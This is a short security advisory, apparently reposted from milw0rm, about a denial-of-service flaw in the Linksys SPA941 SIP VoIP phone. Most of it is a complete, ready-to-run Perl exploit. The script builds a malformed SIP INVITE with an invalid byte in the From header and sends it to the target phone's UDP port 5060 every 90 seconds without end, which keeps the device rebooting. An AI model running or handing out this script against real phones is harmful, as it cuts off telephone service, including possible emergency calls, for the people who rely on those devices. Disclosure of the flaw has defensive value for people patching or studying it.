[EXPL] Linksys SPA941 Denial of Service Exploit (Reboot)

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  Linksys SPA941 Denial of Service Exploit (Reboot)
------------------------------------------------------------------------


SUMMARY

A vulnerability in Linksys SPA941 SIP VoIP phone by sending it a malformed 
SIP packet, which in turn allows to continuously reboot the phone causing 
denial of service.

DETAILS

Exploit:
#!/usr/bin/perl

use IO::Socket;

#die "Usage $0 <username> <dst_IP> <Source_IP> <SourcePort>" unless 
($ARGV[2]);
die "Usage $0 <username> <dst_IP> <SourceIp> <sourceport>" unless 
($ARGV[0]);

my $sock = new IO::Socket::INET( LocalHost => $ARGV[2], LocalPort => 
$ARGV[3], Proto => 'udp');
$socket=new IO::Socket::INET->new(PeerAddr=>$ARGV[1], PeerPort=> '5060', 
Proto=>'udp', LocalAddr=>$ARGV[2], LocalPort=>'5061');

$touser=$ARGV[0];
$target=$ARGV[1];
$sourceaddress=$ARGV[2];
$sourceport=$ARGV[3];
$high=2000;
$low=1;

$fromuserid = int(rand( $high-$low+1 ) ) + $low;
my $cseq = "INVITE";

$msg = "INVITE sip:$touser\@$target SIP/2.0\r
Via: SIP/2.0/UDP $sourceaddress:$sourceport;branch=z9hG4bK00000\r
From: \377<sip:$fromuserid\@$sourceaddress>;tag=779\r
To: Receiver <sip:$touser\@$target>\r
Call-ID: 10\@$sourceaddress\r
CSeq: 1 $cseq\r
Contact: 779 <sip:$fromuserid\@$sourceaddress>\r
Expires: 1200\r
Max-Forwards: 70\r
Content-Type: application/sdp\r
Content-Length: 133\r
\r
v=0\r
o=0 0 0 IN IP4 $sourceaddress\r
s=Session SDP\r
c=IN  IP4 $sourceaddress\r
t=0 0\r
m=audio 9876 RTP/AVP 0\r
a=rtpmap:0 PCMU/8000\r";

$sock or die "no socket :$!";
while (1) {
  $socket->send($msg);
  sleep 90;
}


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
 <http://www.milw0rm.com/exploits/3792> 
http://www.milw0rm.com/exploits/3792



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